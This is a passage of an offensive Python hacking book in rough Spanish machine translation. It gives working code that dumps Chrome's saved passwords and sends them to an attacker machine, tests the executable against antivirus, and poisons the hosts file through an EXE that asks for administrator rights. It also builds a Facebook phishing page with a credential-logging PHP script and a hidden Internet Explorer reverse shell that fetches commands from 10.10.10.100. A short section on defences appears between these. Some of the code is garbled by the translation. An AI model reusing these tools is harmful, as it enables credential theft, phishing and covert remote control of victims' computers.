técnicas que vimos anteriormente, funcionarán en un escenario similar, y esto es
porque no estamos escribiendo ni pegando ningún dato.
Volcar contraseñas guardadas fuera de Google

Cromo
En esta sección, discutiremos otra técnica de pirateo de contraseñas. Esta técnica fue
creado originalmente para recuperar su contraseña si la olvida. Aquí vamos a aprovechar
y hackear la contraseña guardada de forma remota. Para que este ataque funcione con éxito, su objetivo
deberían estar usando Google Chrome, y deberían haber guardado previamente el inicio de sesión
clave. Veamos cómo funciona esto. Inicia sesión en tu cuenta de Facebook. Notarás un
mensaje en la esquina superior derecha de la pantalla, que le pregunta si desea guardar la contraseña
con un botón Guardar contraseña . Si nuestro objetivo ha hecho clic en Guardar contraseña, entonces estaremos
capaz de obtener esa contraseña de forma remota.
Ahora veremos cómo hacerlo. Para hacer esto, primero cerraremos la sesión de Facebook.
[ 90 ]
Adquirir la contraseña de forma remota

Comencemos por comprender cómo Google Chrome almacena y recupera la contraseña guardada
en primer lugar:
Entonces, el primer hecho es que debemos saber que Google Chrome usa la contraseña de inicio de sesión de Windows como
clave para realizar las fases de cifrado y descifrado. Lo segundo que debemos saber es que las contraseñas encriptadas se
almacenan en una base de datos de SQLite llamada Base de datos de inicio de sesión y esa base de datos se encuentra en la ruta
C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default .
Google Chrome llama a una función API de Windows específica llamada CryptProtectData, que utiliza la
contraseña de inicio de sesión de Windows como clave de cifrado. En la operación inversa, se llama a
una API de Windows, CryptUnProtectData , para descifrar el valor de la contraseña y convertirlo en texto
claro. Ahora resumamos cómo funciona Chrome para guardar contraseñas.
Supongamos que nuestro objetivo ha iniciado sesión en Facebook por primera vez. Google Chrome les
pedirá que guarden la contraseña. Si hacen clic en Guardar contraseña, Google Chrome tomará esta
contraseña en un formato de texto claro y llamará a la API CryptProtectData , que cifrará esta contraseña
usando la contraseña de inicio de sesión de Windows y la guardará en la base de datos de datos de inicio
de sesión. Más tarde, cuando nuestro objetivo visite la página de Facebook una vez más, Google Chrome
recuperará la contraseña cifrada y la pasará a la función API CryptUnProtectData . Después de eso,
obtendremos la contraseña de texto claro. Luego, Google Chrome lo enviará en tu nombre.
[ 91 ]
Ahora, técnicamente, si codificamos un script de Python para obtener la contraseña cifrada del
base de datos de Chrome y pasar ese valor a la función API CryptUnprotectData , luego
debería poder ver la contraseña guardada en un formato de texto claro después de eso; eso es exactamente lo que
haremos aquí.
Antes de pasar a la parte de codificación, echemos un vistazo a la base de datos SQL. aquí estaremos
utilizando un navegador de base de datos de código abierto gratuito para SQLite:
1. Navegue a SQLite, que es creado por Google Chrome. En mi caso, el camino es

C:\Usuarios\Hussam\AppData\Local\Google\Chrome\User Data\Default
que Chrome crea su base de datos, y copiaremos el archivo de datos de inicio de sesión en el
escritorio.
2. Tenemos que cambiar la extensión a SQLite para que podamos importarlo en el
navegador de base de datos.
3. Entonces, todo lo que tenemos que hacer ahora es hacer clic en Abrir base de datos e ir a la
Escritorio para abrir Login Data.sqlite3.
4. Una vez que lo importamos, puede ver que hay una tabla llamada inicios de sesión.
5. Una vez que hacemos clic en Examinar datos, podemos ver algunas columnas interesantes:
action_url es la URL a la que navegó el usuario cuando envió el inicio de sesión

credenciales, y en nuestro caso, es una URL de Facebook. El valor, o
username_value y password_value son los valores del nombre de usuario
y la contraseña que se han enviado.
[ 92 ]
6. Necesitamos ubicar la base de datos SQLite, ya que el directorio USERNAME es una variable
y será diferente de una PC a otra.
Necesitamos tomar los valores de action_url y username_value y las columnas

password_value de esa base de datos.
7. Finalmente, pasamos password_value a la función CryptUnProtectData , o API

función, para descifrarlo de nuevo en texto claro.
Entonces, comencemos con la parte de codificación:
# Instalación de win32crypt # http://

sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
# Volcar las contraseñas de Google Chrome
from os import getenv # Para averiguar la ruta SQL de Chrome, que es >>
C:\Usuarios\%NOMBRE DE USUARIO%\AppData\Local\Google\Chrome\User Data\Default\Login
Datos
import sqlite3 # Para leer Chrome SQLite DB import win32crypt #
Biblioteca de alto nivel para llamar a la API de Windows
CryptUnprotectData from
shutil import copyfile # Para hacer una copia de Chrome SQLite DB
# LOCALAPPDATA es una variable de entorno de Windows que apunta a >>>

C:\Usuarios\{nombre de usuario}\AppData\Local
ruta = getenv("LOCALAPPDATA") + "\Google\Chrome\User Data\Default\Login

Datos"
# SI el objetivo estaba iniciando sesión en un sitio que tiene una entrada en la base de datos, a veces leer la
base de datos de Chrome devolverá un error de que la base de datos está bloqueada
# OperationalError: la base de datos está bloqueada

# La solución para esto es hacer una copia de la base de datos de datos de inicio de sesión y extraer los datos
de la base de datos copiada
ruta2 = getenv("LOCALAPPDATA") + "\Google\Chrome\User Data\Default\Login2" copyfile(ruta, ruta2)
...
[ 93 ]
Comenzaremos con la importación de las bibliotecas necesarias:
1. Importaremos getenv, para resolver la variable de entorno de Windows y averiguar la ruta SQL de
Google Chrome.
2. A continuación, importamos SQLite3 para leer la base de datos de Chrome SQLite y buscar su código sin procesar.
valores.
3. Importamos win32crypt, que proporciona una biblioteca de alto nivel para llamar a la API de Windows
CryptUnProtectData. Tenga en cuenta que, para usar esta biblioteca, primero debemos instalar la
biblioteca pywin32 desde http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/ .
LOCALAPPDATA es una variable de entorno de Windows, que apunta a C:\Users, luego al nombre de usuario y luego a la
ruta AppData\Local , y esa es la mitad de nuestra ruta completa. Entonces, una vez que tenemos esta parte, todo lo que
tenemos que hacer es agregar la segunda parte de la ruta agregando \Google\Chrome\User Data\Default\Login Data para
obtener la ruta absoluta de la base de datos de datos de inicio de sesión .
Si el objetivo está iniciando sesión en un sitio, que tiene una entrada en la base de datos, a veces leer la
base de datos de Chrome devolverá un error de que la base de datos está bloqueada; y obtendrá una excepción
llamada base de datos bloqueada, una vez que ejecute el script de Python. En nuestro ejemplo, si el objetivo
está conectado a Facebook en el momento en que queremos leer de la base de datos de Chrome, entonces
queremos poder hacerlo. La solución para esto es hacer una copia de la base de datos de inicio de sesión y
extraer los datos de la base de datos copiada. Aquí, la base de datos copiada tiene el nombre Login2 y está
ubicada en el mismo directorio que la original.
Y, en este punto, hemos realizado el primer paso de localizar la base de datos.
Dado que la base de datos original se puede bloquear, leeremos los datos de la base de datos copiada. Haremos
esto usando la función sqlite3.connect , apuntando a la ruta de la base de datos copiada:
...
# Conéctese a la base de datos copiada conn =
sqlite3.connect(ruta2)
cursor = conn.cursor() # Crea un objeto Cursor y llama a su método execute() para ejecutar comandos SQL
como SELECT
# SELECT column_name,column_name FROM table_name # SELECT

action_url y username_value y password_value FROM table logins cursor.execute('SELECT action_url,
username_value, password_value FROM logins')
...
[ 94 ]
Luego, creamos un objeto de cursor para que podamos ejecutar las consultas SQL para extraer las columnas
deseadas. Si recuerda, el nombre de la tabla era inicio de sesión y tiene tres columnas importantes, que son
nombre de usuario y contraseña_valor, junto con action_url.
Entonces, seleccionaremos estas columnas y buscaremos sus valores usando un ciclo for con una función de
búsqueda :
...
# Para recuperar datos después de ejecutar una instrucción SELECT, llamamos a fetchall() para obtener
una lista de las filas coincidentes. para raw en cursor.fetchall(): print raw[0] + '\n' + raw[1] # imprime action_url
(raw[0]) e imprime
el nombre de usuario_valor (sin procesar [1])

...
El resultado será una lista almacenada en una variable sin procesar. Luego, imprimiremos los primeros dos valores
en esta lista, que son action_url y username_value. Entonces, al hacer eso en este punto, hemos logrado el segundo
paso de nuestro plan, y tomamos los datos de una base de datos de Chrome.
El último paso sería llamar a la función API CryptUnProtectData y pasar la contraseña cifrada, que por
cierto se almacena en el tercer elemento de nuestra lista sin procesar. Finalmente imprimiremos el resultado:
...
contraseña = win32crypt.CryptUnprotectData(raw[2])[1] # pasar la contraseña cifrada a la función API
CryptUnprotectData para descifrarla imprimir contraseña # imprimir la contraseña en texto sin cifrar
conn.cerrar()
Ahora, al ejecutar el módulo, verá que obtenemos tres elementos: la URL, el nombre de usuario y la
contraseña de texto sin cifrar.
Intente volver a verificar que estas sean las credenciales correctas para iniciar sesión en mi cuenta de Facebook.
Pruebe también con otros sitios web como Twitter, PayPal, etc.
Enviar la contraseña recuperada a través de

sesión HTTP
En esta sección, modificaremos nuestro script anterior para automatizar el envío de la contraseña
recuperada o pirateada a través de la sesión HTTP. Y luego, lo enviaremos de regreso a la máquina del hacker,
donde el resultado final debería ser un archivo independiente, que se puede usar en la explotación posterior o como
una función integrada con un nuevo shell de Python.
[ 95 ]
Iniciaremos nuestro servidor HTTP en la máquina Kali para recibir la contraseña pirateada del sitio de
destino. Simplemente haremos doble clic sobre el archivo Chrome Dumper EXE. Verá que pudimos tener
la contraseña guardada de forma remota desde una base de datos de Chrome. Aquí, tomamos el correo
electrónico y la contraseña de Facebook, y también la cuenta de Twitter. Ahora, si nos movemos a la
máquina de destino, veremos que las siguientes son las dos sesiones que están actualmente abiertas en
el sitio de destino:
Probando el archivo contra antivirus

Utilizaremos el conocido sitio web VirusTotal y cargaremos nuestro archivo Google Dumper.
Para esto, navegue a nuestro archivo Chrome Dumper y Cargue y escanee el archivo. Cargue el archivo
Chrome Dumper y escanee el contenido.
Verás cuántos antivirus podrían levantar una bandera. Ahora, diría que obtuvimos un resultado justo
si la cantidad de antivirus generados es poca, y si alguien puede intentar compilar el script usando
PyInstaller y probarlo, entonces podría tener un resultado diferente.
[ 96 ]
Suplantación de identidad de contraseña: envenenamiento de DNS

Una de las formas más sencillas de manipular la dirección del tráfico de forma remota es jugar con registros
DNS. Cada sistema operativo contiene un archivo de host para asignar estáticamente nombres de host a
direcciones IP específicas. El archivo host es un archivo de texto sin formato, que se puede reescribir
fácilmente siempre que tengamos privilegios de administrador. Por ahora, echemos un vistazo rápido al
archivo host en el sistema operativo Windows.
En Windows, el archivo se ubicará en C:\Windows\System32\drivers\etc. Echemos un vistazo al contenido

del archivo host :
Si lee la descripción, verá que cada entrada debe ubicarse en una línea separada.
Además, hay una muestra del formato de registro, donde se debe colocar primero la IP. Luego, después de al
menos un espacio, sigue el nombre. También verá que en cada registro la dirección IP comienza primero,
luego obtenemos el nombre de host.
[ 97 ]
Ahora, veamos el tráfico a nivel de paquete:
1. Abra Wireshark en nuestra máquina de destino y comience la captura.

2. Filtre por la dirección IP del atacante:
Tenemos una dirección IP de 10.10.10.100, que es la dirección IP de nuestro atacante.

Podemos ver el tráfico antes de envenenar los registros DNS. Debe hacer clic en Aplicar para
completar el proceso.
3. Abra https://www.google.jo/?gws_rd=ssl. Tenga en cuenta que una vez que hacemos ping al
nombre desde la línea de comando, el sistema operativo detrás de la escena realizará una
búsqueda de DNS:
[ 98 ]
Obtendremos la dirección IP real. Ahora, observe lo que sucede después del envenenamiento
de DNS. Para ello, cierre todas las ventanas excepto aquella en la que se está ejecutando
la aplicación Wireshark.
Tenga en cuenta que debemos ejecutar como administrador para poder modificar el archivo de
host.
4. Ahora, aunque estamos ejecutando como administrador, cuando se trata de ejecutar una aplicación,
debe hacer clic derecho explícitamente y luego ejecutar como administrador.
5. Navegue hasta el directorio donde se encuentra el archivo de hosts .
6. Ejecute dir y obtendrá el archivo de hosts .
7. Ejecute hosts de tipo. Puedes ver el anfitrión original aquí.
8. Ahora, ingresaremos el comando:
echo 10.10.10.100 www.google.jo >> anfitriones
10.10.100, es la dirección IP de nuestra máquina Kali. Entonces, una vez que el objetivo va
a google.jo, debe redirigirse a la máquina atacante.
9. Una vez más, verifique el host ejecutando el tipo hosts.

10. Ahora, después de hacer una modificación de DNS, siempre es bueno vaciar el caché de DNS, solo para
asegurarnos de que usaremos el registro actualizado. Para esto, ingrese el siguiente comando:
ipconfig /flushdns
11. Ahora, mire lo que sucede después del envenenamiento de DNS. Para ello, abriremos nuestro
navegador y vaya a https://www.google.jo/?gws_rd=ssl. Tenga en cuenta que en Wireshark el tráfico se
dirige a la dirección IP de Kali en lugar de a la dirección IP real de google.jo. Esto se debe a que la
resolución de DNS para google.jo era
10.10.10.100.
12. Detendremos la captura y recuperaremos el archivo host original. Luego colocaremos ese archivo en la
carpeta drivers\etc .
13. Ahora, primero vamos a vaciar la caché DNS envenenada ejecutando:
ipconfig /flushdns
14. Luego, abra el navegador nuevamente. Deberíamos ir a https://www.google.jo/?gws_

rd=ssl ahora mismo. ¡Ahora estamos listos para irnos!
[ 99 ]
Usando la secuencia de comandos de Python
Ahora automatizaremos los pasos, pero esta vez a través de un script de Python.
Abra el script e ingrese el siguiente código:
# DNS_Envenenamiento
importar subproceso
importar os
os.chdir("C:\Windows\System32\drivers\etc") # cambie el directorio del script a ..\etc donde se encuentra el archivo

host en Windows
command = "echo 10.10.10.100 www.google.jo >> hosts" # Agregue esta línea al archivo host, donde debería redirigir
# tráfico que va a
google.jo a IP de 10.10.10.100 CMD =
subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
command = "ipconfig /flushdns" # vaciar los dns almacenados en caché, para asegurarse de que las nuevas
sesiones tomen el nuevo registro de DNS
CMD = subproceso.Popen(comando, shell=Verdadero, stdout=subproceso.PIPE, stderr=subproceso.PIPE,
stdin=subproceso.PIPE)
Lo primero que haremos será cambiar nuestro directorio de trabajo actual para que sea el mismo que el archivo
hosts , y eso se hará usando la biblioteca del sistema operativo . Luego, usando subprocesos, agregaremos un
registro DNS estático, apuntando a Facebook a 10.10.10.100: la dirección IP de Kali. En el último paso, limpiaremos
el registro DNS. Ahora podemos guardar el archivo y exportar el script a EXE.
Recuerde que debemos hacer que el objetivo lo ejecute como administrador. Para hacer eso, en el archivo de instalación
de py2exe, agregaremos una nueva línea, de la siguiente manera:
...
ventanas = [{'script': "DNS.py", 'uac_info': "requireAdministrator"}],
...
Por lo tanto, hemos agregado una nueva opción, especificando que cuando el objetivo ejecute el archivo EXE, le
pediremos que eleve nuestro privilegio a administrador. Para hacer esto, necesitaremos privilegios de administrador.
[ 100 ]
Ejecutemos el archivo de instalación y comencemos una nueva captura. Ahora, copiaré nuestro archivo EXE en el
escritorio. Observe aquí que tenemos un pequeño escudo que indica que este archivo necesita un privilegio de
administrador, lo que nos dará el resultado exacto para ejecutarlo como administrador. Ahora, vamos a ejecutar el archivo.
Verifique que el host del archivo se modifique. Verás que nuestra línea ha sido añadida.
Ahora, abra una nueva sesión y veremos si conseguimos la redirección. Entonces, comencemos una nueva captura y
agregaremos Firefox. Como verá, la búsqueda de DNS para google.jo apunta a nuestra dirección IP, que es 10.10.10.100.
En la siguiente sección, veremos cómo podemos aprovechar esto para el phishing de contraseñas.
Suplantación de identidad de contraseñas de Facebook

En la sección anterior, hemos visto que con unas pocas líneas de código Python podemos redirigir el tráfico a la máquina atacante
en lugar de ir a https://www.google.jo/?gws_rd=ssl.
Esta vez, veremos cómo un atacante puede aprovechar la manipulación del registro DNS de Facebook, redirigir el tráfico a la
página de phishing y obtener la contraseña de la cuenta.
Primero, necesitamos configurar una página de phishing.
No necesitas ser un experto en programación web. Puede buscar fácilmente en Google los pasos
para preparar una cuenta de phishing.
1. Para crear una página de phishing, primero abra su navegador y vaya a la página de inicio de sesión de Facebook.
Luego, en el menú del navegador, haga clic en Archivo y luego en Guardar página como....
Luego, asegúrese de elegir una página completa del menú desplegable.
2. La salida debe ser un archivo .html .
3. Ahora extraigamos algunos datos aquí. Abra la carpeta Phishing de los archivos de código proporcionados con este
libro. Cambie el nombre de la página HTML de Facebook index.html.
4. Dentro de este HTML, tenemos que cambiar el formulario de inicio de sesión. Si busca action=, lo verá. Aquí,
cambiamos el formulario de inicio de sesión para redirigir la solicitud a una página PHP personalizada llamada
login.php. Además, tenemos que cambiar el método de solicitud a GET en lugar de POST.
[ 101 ]
5. Verá que he agregado una página login.php en el mismo directorio de Phishing . Si abre
el archivo, encontrará el siguiente script:
<?php
header("Ubicación: http://www.facebook.com/home.php? "); $manejador =
fopen("contraseñas.txt", "a"); foreach($_GET as $variable => $valor)
{ fwrite($manejador, $variable); fwrite($manejador, "="); fwrite($manejador, $valor);
fwrite($manejador, "\r\n"); } fwrite($manejador, "\r\n"); fclose($manejador); salida; ?>
Tan pronto como nuestro objetivo haga clic en el botón Iniciar sesión , enviaremos los
datos como una solicitud GET a este login.php y almacenaremos los datos enviados en
nuestro archivo passwords.txt ; entonces, lo cerraremos.
6. A continuación, crearemos el archivo passwords.txt , donde estarán las credenciales de destino

almacenado.
7. Ahora, copiaremos todos estos archivos en \var\www e iniciaremos los servicios de Apache.
8. Si abrimos localmente la página index.html , veremos que este es el phishing
página que verá el objetivo.
Recapitulemos rápidamente lo que sucederá cuando el objetivo haga clic en el botón Iniciar sesión . Tan
pronto como nuestro objetivo haga clic en el botón Iniciar sesión , las credenciales del objetivo se enviarán
como solicitudes GET a login.php. Recuerda que esto sucederá porque hemos modificado el parámetro de
acción para enviar las credenciales a login.php. Después de eso, login.php eventualmente almacenará los
datos en el archivo passwords.txt .
Ahora, antes de iniciar los servicios de Apache, permítanme asegurarme de obtener una dirección IP.
1. Introduzca el siguiente comando:
ifconfig eth0
[ 102 ]
Puede ver que estamos ejecutando en 10.10.10.100 y también iniciaremos el servicio Apache
usando:
inicio del servicio apache2
2. Verifiquemos que estamos escuchando en el puerto 80, y el servicio que está escuchando es
Apache:
Ahora, saltemos al lado objetivo por un segundo.
En nuestra sección anterior, hemos usado google.jo en nuestro script. Aquí, ya hemos modificado nuestro
script anterior para redirigir el tráfico de Facebook a nuestra máquina atacante. Entonces, todo lo que nuestro
objetivo tiene que hacer es hacer doble clic en el archivo EXE. Ahora, para verificar:
1. Iniciemos Wireshark y luego comencemos la captura.

2. Filtraremos por la IP del atacante, que es 10.10.10.100:
3. Abra el navegador y vaya a https://www.facebook.com/:
[ 103 ]
Una vez que hacemos esto, somos llevados a la página de phishing. Aquí verá la IP de destino, que es la
dirección IP de Kali. Entonces, en el lado objetivo, una vez que estamos viendo o presionando https://
www.facebook.com/, básicamente estamos viendo index.html, que está configurado en la máquina Kali.
Una vez que la víctima haga clic en la página de inicio de sesión, enviaremos los datos como una solicitud
GET a login.php y los almacenaremos en passwords.txt, que actualmente está vacío.
4. Ahora, inicie sesión en su cuenta de Facebook con su nombre de usuario y contraseña.

y salte al lado de Kali y vea si obtenemos algo en el archivo passwords.txt .
Puedes ver que todavía está vacío. Esto se debe a que, de forma predeterminada, no tenemos permiso para
escribir datos. Ahora, para solucionar esto, le daremos privilegios completos a todos los archivos, es decir, para
leer, escribir y ejecutar:
chmod -R 777 / var / www /
Tenga en cuenta que hicimos esto, ya que estamos ejecutando en un entorno

VirtualBox. Si tiene un servidor web expuesto al público, es una mala práctica otorgar permiso
completo a todos sus archivos debido a los ataques de escalada de privilegios, ya que un
atacante puede cargar un archivo malicioso o manipular los archivos y luego buscar la
ubicación del archivo para ejecutar un comando por su cuenta.
5. Ahora, después de dar el permiso, detendremos e iniciaremos el servidor Apache solo

en caso:
servicio apache2 parada

servicio apache2 inicio
6. Después de hacer esta modificación, vaya a la máquina de destino e intente iniciar sesión en
Facebook una vez más. Luego, ve a Kali y haz clic en passwords.txt. Verá los datos enviados desde el lado
objetivo, y podemos ver el nombre de usuario y la contraseña.
Al final, una buena señal de una actividad de phishing es que falta el signo https .
En la próxima sección, discutiremos cómo protegerse y proteger su cuenta de estos ataques. Además, debe asegurarse de
apagar su servidor Apache una vez que haya terminado con su evaluación.
[ 104 ]
contramedidas
En esta sección, analizaremos cuatro métodos que puede utilizar para proteger su cuenta en línea.
Tenga en cuenta que estos no son los únicos métodos disponibles. Sin embargo, seguir estos pasos debería
darle a su cuenta un buen nivel de seguridad.
Asegurar la cuenta en línea

Entonces, comencemos con el uso de los servicios de seguridad proporcionados por el proveedor. Realmente
recomiendo habilitar la autenticación del Paso 2 (o, a veces, llamada contraseña de un solo uso) en todas sus
cuentas, como Gmail, LinkedIn y PayPal, siempre que esta opción esté disponible. Y cuando lo hagas, una vez
que decidas iniciar sesión, te pedirá el nombre de usuario y la contraseña. Y el segundo paso es ingresar la
contraseña de un solo uso, que generalmente recibirá a través de un SMS o una aplicación, o incluso por correo
electrónico. Ahora, esta contraseña de un solo uso será válida solo por 30 segundos o menos.
Aquí hay algunos enlaces que lo guiarán sobre lo fácil y poderoso que es habilitar esta función para algunos
servicios como Gmail, Twitter, etc.:
Gmail proporciona SMS y la aplicación móvil de Gmail:

https://www.google.com/landing/2step/
https://play.google.com/store/apps/details?id=com.google. android.apps.authenticator2hl=es
Twitter proporciona aplicación móvil y SMS:

https://support.twitter.com/articles/20170388
Antes de pasar al siguiente punto, debo mencionar que incluso después de habilitar la autenticación
del Paso 2, aún somos vulnerables a la vulnerabilidad de secuestro de sesión, donde un atacante puede
secuestrar la sesión o las cookies después de la autenticación del Paso 2 y reinyectar esa sesión en su propio.
Una cosa más a la que debe prestar atención es el inicio de sesión. Cada vez que se registre un nuevo
dispositivo en su cuenta, recibirá un mensaje de notificación, muy probablemente por correo electrónico, para
informarle sobre este extraño acceso.
[ 105 ]
Y te dará algún tipo de información como el sistema operativo o la marca de tiempo. La captura de
pantalla anterior muestra el sistema operativo Windows, que acaba de iniciar sesión en su cuenta. Además, le
aconsejará qué hacer si se trata de una actividad sospechosa.
Para evitar esto, debe asegurarse de que su contraseña sea lo suficientemente compleja e intente evitar las
contraseñas triviales y débiles.
Asegurando su computadora
Ahora veremos cómo proteger su propio dispositivo. Cuando se trata de computadoras, los
siguientes son los pasos que debe considerar:
Usar una cuenta que no sea de administrador todo el tiempo
Mantén tu navegador y sistema actualizados

Considere las contramedidas que discutimos en la sección anterior
Asegurando su red
Ahora, veamos cómo asegurar su propia red para proteger sus datos en tránsito. Si tiene que usar una red
que no es de confianza, como el Wi-Fi de un café, para acceder a sus datos confidenciales, como su cuenta
bancaria o cuenta de PayPal, entonces debe usar una VPN confiable para establecer un túnel seguro y
evitar ataques de LAN local. No hay duda de que VPN agregará valores como la autenticación y el cifrado,
que se utilizarán para derrotar los ataques de LAN locales, como los ataques de hombre en el medio.
Vigilar cualquier actividad sospechosa

Ahora, veamos cómo mantener los ojos abiertos ante cualquier anomalía en la página de inicio de sesión,
como que un https faltante en el campo URL es un buen indicador de actividad de phishing, donde el atacante
puede redirigir su tráfico a una página de inicio de sesión maliciosa; o si el atacante está en el medio, como
un ataque de hombre en el medio, puede usar una herramienta como SSL strip para eliminar el cifrado SSL y
convertir sus datos en texto sin cifrar.
[ 106 ]
Y si eres una persona paranoica de seguridad, incluso si ves la etiqueta https en verde, puedes
verificar el estado del certificado que obtuviste del sitio web. Por ejemplo, esta es una captura de
pantalla de un certificado de servidor de Facebook:
[ 107 ]
Podemos ver que se emite a todos los dominios de Facebook y que el emisor es DigiCert.
Además, la ruta del certificado nos mostrará el estado de salud de este certificado; y si hay alguna sub-CA o autoridad
de subcertificación y certificado intermedio en el medio.
A continuación, debemos tener mucho cuidado en los sitios en los que su navegador muestra un error de certificado
antes de mostrar la página de inicio de sesión, ya que un atacante podría configurar un servidor proxy y proporcionarle
un certificado falso para interceptar el tráfico durante una operación de hombre en el sitio. ataque medio. Cada
navegador puede mostrarle una notificación diferente para este error de certificado.
Para los correos electrónicos fraudulentos, tenga en cuenta que nadie debe preguntarle sobre su contraseña por correo electrónico, ni siquiera
publicarle un enlace de inicio de sesión por correo electrónico.
Resumen
En este capítulo, vimos cómo configurar un keylogger y también tratamos con el administrador de contraseñas
para almacenar de forma segura las credenciales del dispositivo. También aprendimos sobre un nuevo
método: Man in the Browser. Además, vimos el proceso de vinculación de la API de Firefox con Immunity Debugger
y realizamos el proceso de phishing de contraseñas.
Al final, discutimos las contramedidas sobre cómo protegerse y proteger su cuenta de los ataques.
En el próximo capítulo, configuraremos nuestro propio entorno de piratería en VirtualBox.
[ 108 ]
¡Atrápame si puedes!
4
En el mundo de hoy, el software de omisión y secuestro está en todo Internet. Sin embargo, el uso y la ejecución claros
es lo que te convierte en un buen hacker aficionado.
Esto se puede lograr eligiendo sus herramientas correctamente y siguiendo los procesos necesarios para completar las
tareas en cuestión de manera impecable.
En este capítulo, cubriremos los siguientes temas para ayudarlo a lograr esto:
Eludir los cortafuegos basados en host

Secuestro de IE
Omitir el filtrado de repudio
Interactuando con SourceForge
Interactuando con Formularios de Google
Omitir el filtrado de botnets
Omitir IPS con cifrado XOR hecho a mano
Eludir los cortafuegos basados en host

En todos nuestros capítulos anteriores, asumimos que cualquier proceso en la máquina de destino puede iniciar una sesión
en Internet sin ninguna restricción. Ahora, en muchas redes empresariales, no se basan en el Firewall de Windows
integrado. En su lugar, utilizan un cortafuegos avanzado basado en host para limitar qué proceso puede iniciar una sesión
en Internet, tal como funcionan las listas de acceso. Entonces, por ejemplo, supongamos que el administrador del sistema
ha permitido que solo algunos procesos necesarios para el negocio accedan a Internet. Por ejemplo, digamos que el
administrador del sistema permitió la actualización de Windows y la actualización del antivirus, así como los navegadores
más comunes, como Chrome, Internet Explorer y Firefox. Por lo tanto, solo estos procesos pueden llegar a través de
Internet; cualquier otro proceso será bloqueado. Al implementar una política de este tipo, nuestra puerta trasera no tiene
ninguna posibilidad de sobrevivir, ya que no aparecerá en la lista de administradores de forma predeterminada.
Eventualmente, no enviamos ningún shell a la máquina atacante.
¡Atrápame si puedes! Capítulo 4
Sin embargo, si encontramos una manera de controlar de alguna manera Internet Explorer (IE) en nuestro
nombre usando nuestro script de Python y luego forzarlo a conectarse a nuestro servidor Kali HTTP en
segundo plano y transferir comandos de un lado a otro, entonces podemos omitir el host- política de firewall
basada aquí. Microsoft ofrece el Modelo de objetos componentes (COM) para permitir la comunicación
entre procesos y crear mediante programación un objeto para controlar y automatizar varios productos de
Microsoft, como Outlook, Internet Explorer, Word y Excel. Internet Explorer es un navegador integrado en
todas las versiones de Windows; por lo tanto, debería estar disponible todo el tiempo en nuestro objetivo y
generalmente está en la lista blanca de los administradores de seguridad, ya que se considera como un
navegador de respaldo en caso de que otros navegadores fallen. Otro beneficio de hacer que Internet Explorer
inicie la conexión en nuestro nombre es que si el objetivo estaba usando un proxy interno antes de conectarse
a Internet, entonces no tiene que preocuparse por conocer la información del proxy, ya que Internet Explorer
se encargará de esto en nuestro en nombre de.
Entonces, lo que haremos aquí es asumir que el firewall basado en host solo permite algunos procesos como
antivirus, Firefox, Internet Explorer o Windows Update, y nada más. En respuesta a esto, en nuestro script de
Python, definiremos un objeto COM para controlar Internet Explorer. Luego, haremos que Internet Explorer
navegue a nuestro servidor HTTP, que se encuentra en la máquina Kali, y obtenga el comando para ejecutarlo.
Una vez que obtengamos el comando que debemos ejecutar, iniciaremos un subproceso.
Recuperamos el comando a EXE. Luego, usando el objeto COM, lo recuperaremos usando nuestro script
de Python e iniciaremos el cmd.exe como un subproceso. El resultado del comando, utilizando el objeto
COM, lo pasaremos a Internet Explorer y luego lo publicaremos en nuestro sitio web, que se encuentra aquí
en la máquina Kali. Si recuerda, esta técnica es muy similar a nuestro shell inverso HTTP anterior, pero la
diferencia clave aquí es que usamos Internet Explorer como nuestro cliente web en lugar de usar la biblioteca
de solicitudes , como hicimos antes. El resultado final, desde la perspectiva del cortafuegos basado en host,
es que la secuencia de comandos de Python no inició ninguna sesión con el mundo exterior, fue Internet
Explorer.
El siguiente enlace proporcionará más información sobre el

protocolo COM: http://claudihome.com/html/LR/WebHelp/Content/VuGen/132
800_click_and_script.htm.
[ 110 ]
Secuestro de IE
Como siempre, programar con Python te hará la vida mucho más fácil. Ahora, para usar COM
en Python, solo necesita una biblioteca de Python para Windows o pywin . Dado que ya instalamos
esta biblioteca al crear nuestro registrador de teclas anterior, no volveremos a cubrir eso aquí. Ahora,
pasemos a la parte de codificación:
# Instalar Python para Windows pywin32-219.win32-py2.7 # http://sourceforge.net/

projects/pywin32/files/pywin32/Build%20219/
# Secuestro de IE - Shell Over IE
desde win32com.client import Envío desde tiempo import

sleep import subproceso
es decir = Dispatch("InternetExplorer.Application") # Crear instancia de navegador. es decir, Visible = 0 # Hacerlo

invisible [ejecutar en segundo plano] (1= invisible)
...
Aquí, comenzamos creando una instancia de objeto de InternetExplorer y configuramos la opción

Visible en 0, lo que significa que Internet Explorer se ejecutará en segundo plano.
Si establecemos el valor en 1, la ventana de Internet Explorer aparecerá en el

escritorio de destino y esto es algo que no queremos.
...
# Parámetros para POST dURL =
"http://10.10.10.100"
Banderas =
""
0 Marco objetivo =
es decir, Navegar("http://10.0.10.100") # Navegar a nuestro servidor web kali para

agarrar los comandos del hacker
while ie.ReadyState != 4: # Espere a que el navegador termine de cargarse.
dormir(1)
comando = es decir.Documento.cuerpo.innerHTML
[ 111 ]
command = unicode(command) # Convierte entidades HTML a unicode. Para

ejemplo '&' se convierte en '&'
command = command.encode('ascii','ignore') # codificar el comando en
cadena ASCII e ignorar cualquier excepción imprimir ' [+] Recibimos el
comando ' + comando
si 'terminar' en el comando: # si el comando recibido fue terminar

es decir, Quit() # salir de IE y terminar el proceso romper # terminar el ciclo
else: # si el comando recibido NO fue terminado entonces inyectamos el

comando en un shell y almacenar el resultado en una variable llamada Datos
stderr=subproceso.PIPE, stdin=subproceso.PIPE)
Datos = CMD.stdout.read()
PostData = buffer( Data ) # para enviar o publicar datos usando
técnica COM, requiere almacenar en búfer los datos primero #
https://docs.python.org/2/library/functions.html#buffer ie.Navigate( dURL, Flags, TargetFrame, PostData ) #

publicamos el
resultado de la ejecución del comando junto con los parámetros posteriores que definimos anteriormente.
dormir(3)
A continuación, comenzamos entrando en un bucle infinito y navegamos hasta nuestra dirección IP de

Kali. Esperaremos a que el navegador termine de cargarse. Si el navegador no carga la página por
completo, dormiremos durante un segundo. Tenga en cuenta que, cuando el navegador haya terminado
de cargarse, ReadyState tendrá un valor de 4 y el segundo ciclo finalizará.
A continuación, recuperamos la página HTML en una variable llamada comando; luego, convertimos
